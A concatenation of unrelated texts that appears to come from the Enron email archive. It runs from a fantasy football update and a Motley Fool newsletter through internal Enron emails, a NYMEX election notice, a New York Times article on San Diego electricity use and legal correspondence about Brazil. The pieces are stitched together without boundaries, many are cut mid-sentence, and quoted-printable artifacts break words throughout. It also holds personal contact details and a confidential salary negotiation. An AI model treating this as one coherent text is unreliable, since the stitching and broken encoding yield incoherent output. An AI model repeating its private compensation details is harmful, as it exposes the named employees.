/18/01 Plummer threw for 334 yards, four TDs and was intercepted once by De=
troit. Such stellar performances are rare for Plummer, who may not have a b=
etter game this season.  Michael Pittman , RB ARI - Martin Cuilla Updated 1=
1/18/01 The awful Detroit defense limited Pittman to 81 rushing yards on 23=
 carries. Don't start Pittman in any upcoming weeks unless your team is ver=
y thin at RB..  David Sloan , TE DET - Free Agent Updated 11/18/01 Sloan ca=
ught two TD passes for a total of three yards at Arizona. If you are desper=
ate for help at TE, consider Sloan, who always gets regular looks from Char=
lie Batch.  Lamont Warren , RB DET - Free Agent Updated 11/18/01 Warren rus=
hed for 32 yards and a TD at Arizona and caught 11 passes for 64 yards and =
a score. The Lions will continue to feature Warren on third downs and near =
the goal line as a receiver, making him a good Fantasy backup for the rest =
of the year.  Warrick Dunn , RB TB - Hunter Shively Updated 11/18/01 Dunn c=
aught 12 passes for 138 yards against the Bears, but he rushed for only 12 =
yards and fumbled twice. Don't count on Dunn for consistently good Fantasy =
numbers during the next few weeks. He can be explosive, but he is also erra=
tic.  Keyshawn Johnson , WR TB - Top Do! gs! Updated 11/18/01 Johnson caugh=
t 12 passes for 89 yards against the Bears, but he failed to get in the end=
 zone again. Don't depend on Johnson down the stretch unless your team is v=
ery thin at wideout.  David Terrell , WR CHI - Free Agent Updated 11/18/01 =
Terrell caught one pass for 15 yards at Tampa Bay. The rookie wideout is no=
t consistent enough to start for most Fantasy teams.  Marty Booker , WR CHI=
 - Free Agent Updated 11/18/01 Booker caught seven passes for 165 yards and=
 three TDs at Tampa Bay. In his third season, Booker has become a superb Fa=
ntasy wideout. He is a player you must start every week, no matter what mat=
chup he faces.   More Updates  Transactions, View  [IMAGE]     [IMAGE] Warn=
ing   [IMAGE]        [IMAGE] There are no League Transactions at this time.=
         [IMAGE]    Schedule, Breakdown  [IMAGE] Matt Lenhart Player Pos Po=
ints Beuerlein, Steve  QB 0.0 Davis, Stephen  RB 8.0 Dillon, Corey  RB 5.0 =
Bruce, Isaac  WR 13.0 Carter, Cris  WR 0.0 Moulds, Eric  WR 6.0 Stover, Mat=
t  K 6.0 Dolphins  DT 0.0   [IMAGE] TOTAL   38.0   [IMAGE] Raiders  DT 4.0 =
Collins, Kerry  QB 0.0 Banks, Tony  QB 2.0 Dudley, Rickey  TE 0.0 Morton, J=
ohnnie  WR 15.0 Price, Peerless  WR 19.0   [IMAGE] at The Klap Player Pos P=
oints Green, Trent  QB 0.0 Anderson, Mike  RB 4.0 Barber, Tiki  RB 0.0 Bost=
on, David  WR 20.0 Brown, Troy  WR 9.0 Gonzalez, Tony  TE 0.0   K 0.0 Jagua=
rs  DT 8.0   [IMAGE] TOTAL   41.0   [IMAGE] Pickens, Carl  WR 0.0 Favre, Br=
ett  QB 19.0 Alexander, Shaun  RB 16.0 Anderson, Jamal  RB 0.0 Jones, Thoma=
s  RB 6.0 Wilkins, Terrence  WR 1.0   [IMAGE]  Copyright 2001 Commissioner.=
COM Inc and SportsLine.com Inc. Your site can be reached from http://fantas=
y.sportsline.com   FB10SP  =09

            B R E A K F A S T   W I T H   T H E   F O O L
                     Tuesday, November 21, 2000

benjamin.rogers@enron.com

REGISTER TO BECOME A FOOL -- GET FREE STUFF!
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 http://www.lnksrv.com/m.asp?i=205553

"It is human nature to think wisely and to act in an absurd
fashion." -- Anatole France

AGILENT EARNS ITS "A"
Agilent tops estimates and moves to the head of the class.

By Rick Aristotle Munarriz

If there were truth in ticker symbols, Agilent (NYSE: A) would
be holding up its "A" report card proudly. With quarterly
estimates pegged at $0.53 a share, the electronics testing
equipment maker powered up expectations with a $0.69-a-share showing.

That was a 77% surge in bottom-line growth before charges on
$3.4 billion in revenues for the September period. That's
welcome news for a company that has seen its shares fall sharply
since peaking at $162 back in March.

However, a slowdown in microchip testing equipment as well as
weakness in the wireless market has the company warning of
slower growth ahead. With a healthy backlog of orders, Agilent
still expects to meet estimates of $0.45 for the current
quarter.

Spun off by Hewlett-Packard (NYSE: HWP) last year, Agilent will
be deploying new capital into areas where it sees higher growth:
communications and life sciences. I guess that gives the company
an "A" for effort too.

NEWS TO GO

Chipped off the old block, semiconductor distributor Avnet
(NYSE: AVT) announced that earnings for the current quarter
would come in between a nickel to a dime below the $0.85-a-share
forecast. While acknowledging the cyclical ways of the chip
industry, the company believes that earnings for the rest of the
year will remain on track.

Attention holiday shoppers, Nieman Marcus (NYSE: NMG.A) reported
stronger-than-expected profits but warned of slow action at the
registers so far this month. That's critical as the upscale
department store chain heads into the important buying season.
Nobody wants to see the Grinch steal Christmas (well, OK, it did
top the box office this past weekend, but that's another story).

EDGAR Hoovered? The Securities and Exchange Commission's (SEC)
site for electronic financial filing and data retrieval will go
down on Friday for a "major upgrade." The Electronic Data
Gathering, Analysis, and Retrieval system -- thankfully better
known as EDGAR -- will be back up on Monday morning.
http://www.lnksrv.com/m.asp?i=205554

Has Ozzy Osbourne bitten off more than he can chew -- again? The
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MsgId: 
msg-7420-2000-11-21_9-09-44-3298457_2_Plain_MessageAddress.msg-09:14:31(11-21-
2000)
X-Version: mailer-sender-master,v 1.84
X-Version: mailer-sender-daemon,v 1.84
Message-Recipient: benjamin.rogers@enron.com

From: 	"dick bryan" <bryan6110@msn.com>@ENRON  
Sent:	Friday, November 16, 2001 9:29 AM
To:	Neal, Scott
Cc:	Richard Bryan
Subject:	Fw: confirmation of WV gas

Scott ,
 
Here is the email that I sent to John Hodge yesterday.  It has the  conf. letter with blanks to be filled in as an attachment.  One attachment  is in Word Perfect 9 format and the other is in wordpad format in case you have  trouble opening the WP version.
 
Thanks in advance for your prompt response.
 
Please address all emails to bryan6110@email.msn.com
 - JH011109.wpd 
 - JH011109.doc 

Philip,

What is going on down the street?  Curious to hear any perspectives you may
wish to offer from the trading floor?  Enron stock is now lower than when I
joined the company out of business school.  I imagine there are quite a few
not so happy people these days.  We can relate somewhat over here at NPW
with a stock at around $1.25 (in fact we broke $1 a few days ago).  Knowing
you, I do not imagine you are letting any of these events get you down
much.  I have taken a similar approach to our problems here at NPW.

Hope everything else is going well for you and the family.  Have you had
the knee surgery yet?  Give me a call when you have a chance.

Later,

Al Pollard
The New Power Company
apollard@newpower.com
(713) 345-8781

Remember to join Enron Global Services Chairman & CEO Stan Horton on an eSpeak session Thursday, October 18 at 10 a.m. Houston time where he will answer questions regarding the new EGS. This is a great opportunity to get first hand information about what's going on within EGS and throughout Enron. 

If you can't make the live event, don't sweat it.  Go to http://ethink.enron.com/eSpeak/exec/default.asp, and submit your question(s) today.  Stan will try to answer your questions during his "open mike" session, and you can read the transcript whenever you get the opportunity. 

Don't miss this opportunity to hear it straight from the top.

Looks good.  How about a point about the need to connect new generation=20
quickly.

=09Sarah Novosel
=0909/26/2000 09:55 PM
=09=09=20
=09=09 To: skean@enron.com, Richard Shapiro/HOU/EES@EES, Sue Nord/NA/Enron@=
Enron,=20
Margaret Carson/Corp/Enron@ENRON, Rob Bradley/Corp/Enron@ENRON,=20
mpalmer@enron.com, Karen Denne/Corp/Enron@ENRON, Jeff=20
Dasovich/NA/Enron@Enron, James D Steffes/NA/Enron@Enron
=09=09 Subject: Draft Letter to FERC by Consumer Groups

Below is my first rough draft of a letter that could be sent from consumers=
=20
to FERC Chairman Hoecker.  Due to technical difficulties, I could not attac=
h=20
the letter in a separate document, so I copied the letter and have reprinte=
d=20
it below.

Having never been involved in this type of letter writing campaign, this wa=
s=20
a bit of a stab in the dark for me, so I welcome everyone's comments.  I am=
=20
also working on a letter that could be sent by senior management or CEOs of=
=20
high tech firms, but I wanted to get your feedback on this format before I=
=20
went forward on the high tech letter.

Let me know if you have any questions or comments.

Sarah

 September 26, 2000

The Honorable James Hoecker
Federal Energy Regulatory Commission
888 First Street, N.E.
Washington, D.C.

Re: Electric Power Industry Reform

Dear Chairman Hoecker:

We are consumers or represent consumers of electric power.  We write to urg=
e=20
you and your colleagues to take the initiative to address the intolerable=
=20
shortages and extreme price volatility that have become all too common in t=
he=20
electric power industry.  It is imperative that the Federal Energy Regulato=
ry=20
Commission proceed expeditiously with the reforms needed to support a=20
competitive and efficient power supply industry to ensure a reliable supply=
=20
of power at the lowest possible cost to consumers.

There are many actions you and your colleagues should take to ensure that t=
he=20
power supply in the U.S. remains sufficient and is available at reasonable=
=20
prices.  For example, you and your colleagues should remove roadblocks in t=
he=20
nation=01,s electricity gird.  Under the current system, FERC regulations a=
llow=20
many companies that own transmission systems to restrict access to their=20
transmission lines by competing electricity suppliers.  The result of this=
=20
policy is shortages, blackouts and skyrocketing prices.  Like the interstat=
e=20
highway system, FERC should allow electricity to move from one state to=20
another just as freely as motorists do.  All electricity suppliers should=
=20
have the same access to the transmission lines in order to transport power =
to=20
where it is most needed.

FERC should also discourage electricity suppliers=01, reliance on spot and=
=20
short-term electricity markets for power supply.  Instead, FERC should urge=
=20
suppliers to purchase a portion of their power needs under long-term=20
contracts.  Locking in electricity costs at fixed prices protects consumers=
=20
from unexpected price swings that can be financially devastating.

We strongly urge you and your colleagues to seize the initiative on these=
=20
reforms.  Consumers deserve a power supply industry that is both more=20
reliable and economical.=20

Very truly yours,

From: Guerra, Claudia 
Sent: Friday, October 05, 2001 7:03 AM
To: Black, Tamara Jae
Subject: FW: Freez Notis Presentation
Importance: Low

From: Ryan, David 
Sent: Friday, October 05, 2001 6:49 AM
To: Guerra, Claudia

Please forward this to our group as well 
 
Thanks, 
Dave
From: Moore, Kevin G. 
Sent: Friday, October 05, 2001 6:45 AM
To: Rangel, Ina; Young, Becky; Brown, Kimberly; Hogan, Irena D.; Villarreal, Alexandra; Jones, Carmella; Coneway, Betty J.
Cc: Roberts, Mike A.; Bennett, Steve; Ryan, David; Stevens, Adam; Smith, William; Crenshaw, Shirley; Kaminski, Vince J

Good morning  ,
 
This is just a reminder that the Freez - Notis  presentation is coming soon.
Please, this is a presentation that your group receives information and ask questions.
Please, keep them updated and let them be aware that Monday October 8th , 
Freeez Notis will be here in the Enron Building beginning at 9: a.m.
 
Hot Coffee ,
Juices
Danishes, Bagels, and fruit will be served........
 
                                                        Thanks
                                                     Kevin Moore
 
Any questions feel free to call x34710 or come by and see me EB3240C
Have a Wonderful Day ~!!!!
Sent: Thursday, October 04, 2001 7:09 AM
To: Roberts, Mike A.; Rangel, Ina; Ryan, David; Marquez, Jose; Crenshaw, Shirley; Bennett, Steve; Stevens, Adam; Young, Becky; Brown, Kimberly; Villarreal, Alexandra; Hogan, Irena D.; Coneway, Betty J.; Jones, Carmella; Presas, Jessica; Hardy, Kimberly
Cc: Kaminski, Vince J
Subject: Freez Notis Presentation

                        Freez- Notis  Presentation

                                                      Winter Outlook

When  : October  8th, 2001

Time   :  9:00 a.m.

Location  -  EB32C2

Please asst , inform your groups ........

more info...comimg soon.

                                           Thanks

                                       Kevin Moore

My apologies!!! I sent invitations to the Thursday afternoon meeting but 
failed to change the meeting time to 4:30 p.m..  Please calendar the meeting 
in Conference Room EB3824 for 4:30 p.m., not 9:00 a.m. as shown on the 
meeting invitation.  This is the first time I've set a meeting this way.  
Sorry for the inconvenience.

Juan tells me that everything will be moved tomorrow sometime.  We want the 
cabinets to be locked for the move, so I'll lock them up tonight when I 
leave.  If you need to get in the files, grab the keys from my top drawer.  
Make sure to lock things up and replace the keys when you're done.  I'll 
unlock the stuff when it gets settled across the street tomorrow.

Notice No. 01-124
April 5, 2001

To:
All NYMEX Holdings, Inc. Stockholders
All NYMEX Division Members

From:
Donna M. Talamo, Director
Office of the Corporate Secretary

Re:
SPECIAL MEETING OF NYMEX HOLDINGS, INC. STOCKHOLDERS =01) FILLING OF BOARD =
OF=20
DIRECTORS VACANCIES

The Board of Directors of NYMEX Holdings, Inc. has called a special meeting=
=20
of the NYMEX Holdings, Inc. stockholders for the purpose of filling vacanci=
es=20
on the Board of Directors.  This meeting will be held on Wednesday, May 23,=
=20
2001 at 4:00 p.m. in Board Room 1010 of the Exchange, One North End Avenue,=
=20
New York City.  For your convenience, however, ballots will also be accepte=
d=20
until 4:00 p.m. in the Members=01, Lounge on the third floor of the Exchang=
e.

At the special meeting, the following vacancies will be filled as follows:

o Equity Holders Representative*   -One position to expire 2002
      (Three vacancies)     -One position to expire 2003
       -One position to expire 2004

o Futures Commission Merchant Representative -One position to expire 2003
     (One vacancy)

o Public Director Representative   -One position to expire 2002
      (One vacancy)

*The three Equity Holders Representatives will be elected as follows:  of t=
he=20
three elected candidates, the candidate receiving the most votes will be=20
elected to the term expiring 2004, the candidate receiving the second highe=
st=20
number of votes will be elected to the term expiring 2003, and the candidat=
e=20
receiving the third highest number of votes will be elected to the term=20
expiring 2002.

The Office of the Corporate Secretary (c/o Donna M. Talamo, One North End=
=20
Avenue, Room 1548, New York, NY  10282 =01) fax 212-301-4645 or email=20
dtalamo@nymex.com) will accept written recommendations of proposed nominees=
=20
from stockholders for the vacancies on the Board of Directors not later tha=
n=20
5:00 p.m., MONDAY, APRIL 16, 2001.  A stockholder may not recommend more th=
an=20
one candidate per category.  After Monday, April 16, 2001, a list of the=20
recommendations of proposed nominees will be posted.

ONLY PERSONS WHOSE NAMES HAVE BEEN SUBMITTED TO THE OFFICE OF THE CORPORATE=
=20
SECRETARY BY 5:00 P.M. ON MONDAY, APRIL 16, 2001 WILL BE PERMITTED TO STAND=
=20
FOR ELECTION.

Please note that in order to qualify as a Public Director, a person must be=
=20
knowledgeable of futures trading or financial regulation or otherwise capab=
le=20
of contributing to the deliberations of the Board of Directors and may not =
be=20
a member of the Exchange or affiliated with any member of the Exchange or a=
n=20
employee of the Exchange.

After Monday, April 16, 2001, the Membership Subcommittee (=01&Subcommittee=
=018)=20
will convene to make its determination as to the eligibility of the propose=
d=20
nominees to run in the category for which he was proposed or otherwise.  =
=20
Such determination will be immediately posted.  Should the Subcommittee=20
determine that a proposed candidate is ineligible to run in the category fo=
r=20
which he was recommended, written notice thereof shall immediately be=20
submitted to that person.  To assist the Subcommittee, NYMEX members may=20
submit information regarding the eligibility of a proposed nominee to the=
=20
Subcommittee.  All such submissions must be received by 5:00 p.m. on=20
Thursday, April 19, 2001 at the Office of the Corporate Secretary.  In=20
addition, a proposed nominee may appeal the Subcommittee=01,s categorizatio=
n. =20
Such appeal must be made by 5:00 p.m. on April 20, 2001.  The Subcommittee=
=20
will consider the appeal and make a final ruling no later than April 23,=20
2001.  At that time, the Subcommi!
tt!
ee will assign the proposed nominees to the proper categories, regardless o=
f=20
the category for which the proposed nominee was originally recommended.

TO BE OFFICIALLY NOMINATED, EACH PROPOSED NOMINEE WILL BE REQUIRED TO FILE=
=20
WITH THE OFFICE OF THE CORPORATE SECRETARY A DECLARATION WHICH STATES THAT=
=20
CATEGORY IN WHICH THE PERSON INTENDS TO STAND FOR ELECTION.  FAILURE TO=20
SUBMIT A DECLARATION TO THE OFFICE OF THE CORPORATE SECRETARY BY 5:00 P.M. =
ON=20
TUESDAY, APRIL 24, 2001 WILL RENDER THE PROPOSED NOMINEE INELIGIBLE TO RUN =
IN=20
ANY CATEGORY.

Please note:  only those persons who were proposed by 5:00 p.m. on Monday,=
=20
April 16, 2001 will be permitted to be officially nominated.

The Record Date for the determination of stockholders entitled to vote will=
=20
be April 25, 2001.

The Candidates=01, Forum will be held on May 9, 2001.

Proxy statements and ballots will be mailed on or about May 1, 2001.

The election will be held on Wednesday, May 23, 2001.

Should you have any questions regarding the above, please contact Christoph=
er=20
Bowen at (212) 299-2200 or Donna Talamo at (212) 299-2372.

Please click on the link below to indicate you have received this
email.

"http://208.206.41.61/email/email_log.cfm?useremail=3Dtana.jones@enron.com&=
refdo
c=3D(01-124)"

Note: If you click on the above line and nothing happens, please copy
the text between the quotes, open your internet browser,
paste it into the web site address and press Return.

Sophie,

I think it's a fair deal.

Vince

Sophie Kingsley   08/30/2000 11:49 AM

To: Dale Surbey/LON/ECT@ECT
cc: Vince J Kaminski/HOU/ECT@ECT, Michele Small/LON/ECT@ECT 
Subject: Re: Confidential  

Both,

Thanks for your comments and comparisons, it is good to get context.

Based on your comments here would be my proposal

o63,500 basic salary - 
o15K kickers for each of the 2 years - These are paid as a lump sum on each 
anniversary guaranteed.  Therefore guaranteed salary is effectively o78,500 - 
this is completely separate and in addition to any performance bonus
Increase the value of options to o60K  to vest 1/3 as before - which leaves a 
1/3 ($20,000 ) hanging out there at the end of the contract.  

Just FYI - Anjam is currently on o68,000 but does not have an agreement, so 
this would effectively put a 10.5K gap between the two.  

Let me know your thoughts.

Dale Surbey
30/08/2000 16:09
To: Sophie Kingsley/LON/ECT@ECT
cc:  

Subject: Re: Confidential

Sophie,

Here's Vince's comments on your proposal for Steve.  Also, what's a 2-Yr 
Exec?  How do the kickers work - are they basically a guaranteed minimum 
bonus or incremental bonus?

- Dale

---------------------- Forwarded by Dale Surbey/LON/ECT on 30/08/2000 16:10 

30/08/2000 14:21
cc: Vince J Kaminski/HOU/ECT@ECT 

Dale,

Thanks for your message.
I don't know the labor market  in London that well but here the market
for quants is very hot.  Steve is in my view an exceptionally talented person
and I would go an extra mile to retain  him long-term for the company.

I would adjust the base salary or the kicker upward a bit.
o62,000 Basic  is what Anjam is receiving currently  (if I remember 
correctly). Steve has a much higher value
to Enron than Anjam.

Vince

08/30/2000 07:49 AM
cc:  
Subject: Confidential

Vince,

This is the package HR is proposing for Steven.  What do you think?  

- Dale

---------------------- Forwarded by Dale Surbey/LON/ECT on 30/08/2000 13:50 
Sophie Kingsley   29/08/2000 20:32

cc:  

Sorry Dale, long day, here are the proposed numbers

2 Year Exec
o62,000 Basic  ( currently o55K )
o10K each year kickers
$50,000 worth of options to vest 1/3 1/3 1/3

Let me know what you think.

Regards

Sophie

Your message

  Subject: Model for 4/6

was not delivered to:

  rhawk1@epelectric.com

because:

  User rhawk1 (rhawk1@epelectric.com) not listed in public Name & Address Book

 - C.DTF
Received: from postmaster.enron.com ([192.152.140.9])          by 
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07:49:07 -0500
Subject: Model for 4/6
To: kpeterso@epelectric.com, rhawk1@epelectric.com
X-Mailer: Lotus Notes Release 5.0.3  March 21, 2000
Message-ID: <OFFB624550.F9DE44C1-ON88256A27.004560B7@enron.com>
From: Steven.Merris@enron.com
Date: Sat, 7 Apr 2001 05:40:36 -0700
X-MIMETrack: Serialize by Router on ENE-MTA01/Enron(Release 5.0.6 |December 
14, 2000) at 04/07/2001 07:45:11 AM, Itemize by SMTP Server on 
MAIL/EPEC(Release 5.0.6a |January 17, 2001) at 04/07/2001 06:49:29 AM, 
Serialize by Router on MAIL/EPEC(Release 5.0.6a |January 17, 2001) at 
04/07/2001 06:49:33 AM
Content-type: multipart/mixed ; 
Boundary="0__=88256A27004560B78f9e8a93df938690918c88256A27004560B7"
Content-Disposition: inline

(See attached file: 4_06act.xls)
 - 4_06act.xls

pls print for me.  thanks. df
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 02/06/2001 
05:42 PM ---------------------------
From: Julie McCoy/ENRON@enronXgate on 02/05/2001 04:50 PM
To: Mike W McGowan/ENRON@enronXgate, Dave Neubauer/ET&S/Enron@ENRON, Michel 
Nelson/ET&S/Enron@ENRON, Bill Cordes/NPNG/Enron@ENRON, Maria 
Pavlou/ENRON@enronXgate, Drew Fossum/ET&S/Enron@ENRON, Barbara 
Bischoff/ET&S/Enron@ENRON
cc: Virginia O'Neill/NPNG/Enron@Enron, Deb Cappiello/ET&S/Enron@ENRON, Martha 
Benner/ENRON@enronXgate 

Subject: Invitation to Mount Michael Night of Knights - April 7, 2001

Enron Transportation Services and Mary Kay Miller cordially invite you and a 
guest to attend the 12th Annual Mount Michael Night of Knights on April 7, 
2001.

2001 Mount Michael Night of Knights - "Twelfth Knight"
Saturday, April 7, 2001
Armory Reception, Social Hour and Silent Auction  5:30 PM-7:30 PM
Dinner and Live Auction  7:30 PM
Mount Michael Benedictine School
22520 Mount Michael Road
Elkhorn, NE  68022

Please RSVP to Julie McCoy by Monday, February 26.

affiliates.  , 2001 Carr Futures

Crude Spread     http://www.carrfut.com/research/Energy1/crudespread42.pdf
Heat Spread     http://www.carrfut.com/research/Energy1/heatspread42.pdf
Unleaded Spread
http://www.carrfut.com/research/Energy1/unleadspread42.pdf

Heat Crack     http://www.carrfut.com/research/Energy1/heatcrack42.pdf
Gas Crack     http://www.carrfut.com/research/Energy1/gascrack42.pdf

150 S. Wacker Dr., Suite 1500
Chicago, IL 60606  USA
Tel:  312-368-6149
Fax:  312-368-2281
soblander@carrfut.com
http://www.carrfut.com

FYI-  

 National Desk; Section A 
 Why San Diego, Where Rates First Rose, No Longer Conserves Energy
 By LAURA M. HOLSON
   
 01/30/2001 
 The New York Times 
 Page 20, Column 1 
 c. 2001 New York Times Company 

 SAN DIEGO, Jan. 25 -- It was here, in the heat of last summer, that 
consumers got their initial lesson in how painful California's
 experiment with deregulation could be.

 With electricity supplies short and the state's power grid on the brink of 
collapse, wholesale electricity costs nearly tripled, and the San
 Diego Gas and Electric Company, the first utility in the state freed by 
deregulation, passed those costs on to its customers. Homeowners
 took to the streets, and businesses threatened to leave the city, 
California's second largest.

 Logic would suggest that San Diego consumers, having felt the price shock 
that the rest of the state so far had been shielded from, would
 be wiser about using electricity than other Californians. But the price 
shock was too short.

 In September, California legislators called off the experiment, capping 
retail electrical rates at 6.5 cents a kilowatt hour, the average market
 price paid in the month before the summer crisis.

 Now, six months later, San Diegans are back to their old ways.

 Electricity use, which dropped 9 percent in August, is back up to precrisis 
levels, according to San Diego Gas and Electric. Rather than
 investing in insulation or energy-efficient air-conditioners, consumers here 
seem to be hovering between denial and defiance.

 ''I feel I do all that I can to conserve,'' said Vicki Barber, an escrow 
coordinator for a real estate broker in San Diego. ''But I'm not going
 to spend all this money upgrading my house when it doesn't matter anyway.''

 As a test laboratory of consumer behavior when the cost of a necessity 
skyrockets, San Diego seems confused by how politicians reacted
 when consumers here revolted last summer, demanding relief.

 In September, when California legislators restored the lower rates, 
residential and small-business rate payers received credits on their utility
 bills -- even though the credits are really a postponed debt that is 
expected to come due as soon as 2002. And it is true that the utility's
 largest customers are already paying market rates.

 Still, Jeannie Thompson's reaction was typical. In August, Ms. Thompson, the 
branch manager of a Coldwell Banker real estate office in
 the Pacific Beach district, made it her business to turn off office lights 
and computers every night. ''When the news first came out, you
 wanted to do your part,'' she said.

 Then, in October, the office got its credit, and ''we started to go back to 
the way things were before.''

 Economists look at San Diegans' behavior and draw this lesson: Consumers 
must suffer a lot before they willingly give up comfort and
 conveniences they have grown used to.

 ''Summer should have been a wake-up call,'' said Peter Navarro, associate 
professor of economics and public policy at the University of
 California at Irvine. ''You can't blame San Diego consumers for not doing 
anything, because legislators stepped in and lowered prices. If
 the discomfort isn't of a lengthy duration, the adjustments to behavior that 
need to take place won't.''

 Indeed, in a recent paper, a group of energy experts and economists, 
including two Nobel Prize winners, made the same point, saying that
 if consumers knew the true cost of electricity, they would conserve more.

 Even Gov. Gray Davis seems to be backing away from his promise that rates 
would not rise.

 But San Diego consumers, once again insulated from rate increases, have 
shrugged off the crisis, in part because they have taken to heart
 the governor's oft-repeated claim that the problems are the fault of 
out-of-state power generators that need to be reined in.

 ''Ask these people if they feel safe at night,'' Pete Phelps said wryly of 
those generators. Mr. Phelps, an airline pilot, was, with his wife, Pat,
 loading a 50-gallon water heater into the back of his pickup truck at a Home 
Depot near the San Diego Sports Arena.

 Mrs. Phelps added, ''You don't know what is legitimate, who to believe.''

 So the Phelpses have done little in recent months to conserve, except 
turning off lights, as their monthly electricity bill has climbed to $130,
 from about $85, in the past two years. Their new water heater was billed as 
''energy efficient,'' and while it should save them $150 a year,
 they did not buy it with conservation in mind. ''I spill that in beer 
money,'' Mr. Phelps said.

 High prices alone cannot change consumer behavior, Mr. Navarro, the 
economist, said. If consumers, for instance, believe that turning off
 lights benefits someone other than themselves, they will feel no incentive 
to conserve. That, he said, is the situation in the Pacific Northwest,
 where many residents believe that any power they save will simply be 
diverted to hot tubs in the San Francisco suburbs.

 But in San Diego, people have gotten a particularly mixed message. To begin 
with, high rates did not last long enough to make an impact.
 Rather, the lingering impression was that legislators would step in to 
protect consumers at any cost.

 The math, said Severin Borenstein, director of the University of California 
Energy Institute, was simple.

 ''If you go from 6 cents to 22 cents to 6 cents, then the response will be 
to weather the storm,'' Mr. Borenstein said, referring to the price
 of a kilowatt hour. ''But if it stays at 22 cents, then it makes sense for 
people to go out and invest in ways to save energy.''

 Mr. Borenstein drew a parallel to the gasoline shortages of the 1970's. At 
first, he said, motorists demonized Middle East oil producers, as
 lines of cars snaked around gasoline stations, waiting for rationed 
supplies. Only after high prices persisted did consumers begin to change
 their habits, buying more fuel-efficient cars, he said.

 Still, some San Diegans insist that they are pitching in.

 ''I have not put the heat on,'' said Ms. Thompson, the real estate agent. 
''I close my doors and put on a sweater.''

 But she has not had an energy audit of her home, a service provided by San 
Diego Gas and Electric, or bought energy-saving appliances.

 During last summer's price spike, surveys by San Diego Gas and Electric 
found that 91 percent of its 1.2 million users did not think the
 utility was being wholly honest with them about the crisis, said Stephen L. 
Baum, chairman of Sempra Energy, the utility's parent company.
 And there is bound to be more anger, now that the utility has requested a 
surcharge of about 16 percent in March, to pay off $450 million it
 owes its power suppliers.

 Higher rates will also make life harder for people who are just getting by. 
At a recent outdoor farmer's market in El Cajon, a working-class
 town 15 miles east of San Diego, Heidi Van Horn, a massage therapist, and 
her fiance, Bernie Herloss, a handyman, were supplementing
 their $1,200 monthly income by selling grilled bratwurst and hamburgers to 
hungry shoppers.

 For the two-bedroom apartment they share, the couple have $200 in past-due 
energy bills. Those bills hover at about $100 a month, up
 from $55 two years ago. ''We aren't one of these high-rollers who make $9 an 
hour,'' Ms. Van Horn said. ''We either pay the electricity or
 have the phone shut off.''

 Even so, she said, they do what they can to conserve, turning down the 
thermostat or turning off the occasional light. But their apartment
 building is poorly insulated. Cold wind seeps in through closed windows, and 
the heating vents are near the ceiling, where the warmth is
 wasted. Their only energy-efficient light bulb is the one that came in the 
mail from San Diego Gas and Electric.

 And the two birds and the iguana they keep, Ms. Van Horn said, would die if 
she turned off any of the three heat lamps that run
 continuously in the apartment.

 She would never consider getting rid of the pets. Ms. Van Horn said. ''They 
are family.''

 Photo: Jeannie Thompson, who manages a Coldwell Banker office in San Diego, 
said energy-conservation efforts had fallen by the
 wayside. (Robert Burroughs for The New York Times) 

Copyright , 2000 Dow Jones & Company, Inc. All Rights Reserved. 

Dear Sara:

Please find attached hereto (i) Memo prepared in connection with certain 
changes in the nonresident investor's regulations occurred in Brazil, and 
(ii) revised Comparative Chart related to financial investments of 
nonresidents in Brazil.

Should you have any questions on the above matters, please do not hesitate to 
contact us.

Marcelo Rodrigues

>>> "Sara Shackleton" <Sara.Shackleton@enron.com> 05/04 12:08 pm >>>

AFAC and Marcelo:  I hope this message finds you both well.  I would like to
finalize the matrix which was prepared last year so that we can create a
"baseline" for future updates.  Please feel free to date the matrix as of
December, 1999, if you wish.  Please forward any recent changes to me for
comment  and I will respond immediately.  Then we can move on to other things!
Thanks for your help and attention to this mattter.  Regards.  Sara
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 05/04/2000 
10:34

"MBTOS - Marcelo Rodrigues" <Mbtos@tozzini.com.br> on 03/13/2000 06:27:26 PM

To:   Sara.Shackleton@enron.com
cc:   Brent.Hendry@enron.com, Lynn.Aven@enron.com, afac@tozzini.com.br
Subject:  Re: Financial Trading in Brazil

Dear Sara:

Thank you for your E-mail below. We will be reflecting the new changes in the
regulations in the chart and will be sending it to your review as soon as
possible.

>>> "Sara Shackleton" <Sara.Shackleton@enron.com> 03/13 2:29 pm >>>

Greetings to you both!  It has been awhile since we last spoke.  I would like 
to
finalize the matrix which we have been discussing since the latter part of 
1999.
Although we were awaiting new Central Bank regulations, I am beginning to 
think
that the Central Bank revisions will not impact the matrix except with respect
to transactions which may be entered into by entities that are the subject of
the Central Bank regulations.  Please let me know whether or not you agree or
can offer any suggestions.  Thanks and regards.  Sara

 - M2689iii.doc
 - Char5.doc

---------------------- Forwarded by Darron C Giron/HOU/ECT on 09/07/2000 
12:32 PM ---------------------------
   
	From:  B Scott Palmer                           09/07/2000 12:30 PM
	
To: Kam Keiser/HOU/ECT@ECT, Darron C Giron/HOU/ECT@ECT
cc:  
Subject: FW: UNO!!! the game

---------------------- Forwarded by B Scott Palmer/HOU/ECT on 09/07/2000 
12:29 PM ---------------------------

Phillip M Love
08/02/2000 12:10 PM
To: B Scott Palmer/HOU/ECT@ECT
cc:  

---------------------- Forwarded by Phillip M Love/HOU/ECT on 08/02/2000 
12:06 PM ---------------------------
   
	From:  Cecilia Olvera                           01/17/2000 01:17 PM
	
cc:  

---------------------- Forwarded by Cecilia Olvera/HOU/ECT on 01/17/2000 
01:16 PM ---------------------------
   
	From:  Jennifer Nguyen @ ENRON                           01/17/2000 01:09 PM
	
To: Cecilia Olvera/HOU/ECT@ECT
cc:  

---------------------- Forwarded by Jennifer Nguyen/Corp/Enron on 01/17/2000 
01:09 PM ---------------------------

Larry Lenning <larry@apbenergy.com> on 12/21/99 02:18:13 PM
To: Jennifer Nguyen/Corp/Enron@ENRON
cc:  

I could not find the good email.  Sorry.  Can I send you that type of email
or will you get in trouble? What are you doing for Christmas? Staying in
Houston?

From:  Tod Vaught
Sent:  Monday, December 20, 1999 3:51 PM
To:  Goddard Hampton; James Mueller; Kyle Galloway; Larry Lenning; Paul
Lutz; Preston Higgins; Tony Tong; Will Vaughn
Subject:  FW: UNO!!! the game

From:  Erin Massey
Sent:  Friday, December 17, 1999 3:54 PM
To:  Tod Vaught

Enjoy...

 - Uno.exe

Computer Support:  713-348-8319 (help with computer connection)
Suzanna Vazquez:  713-348-3736 (copies, etc.)

Please let me know if you have any more questions or if I can help in any way.

Pamela Castro
MBA Program Associate
Rice University
713-348-6223

Mr. Uretsky,

At the request of Michael Danielson, I am attaching our proposed form of 
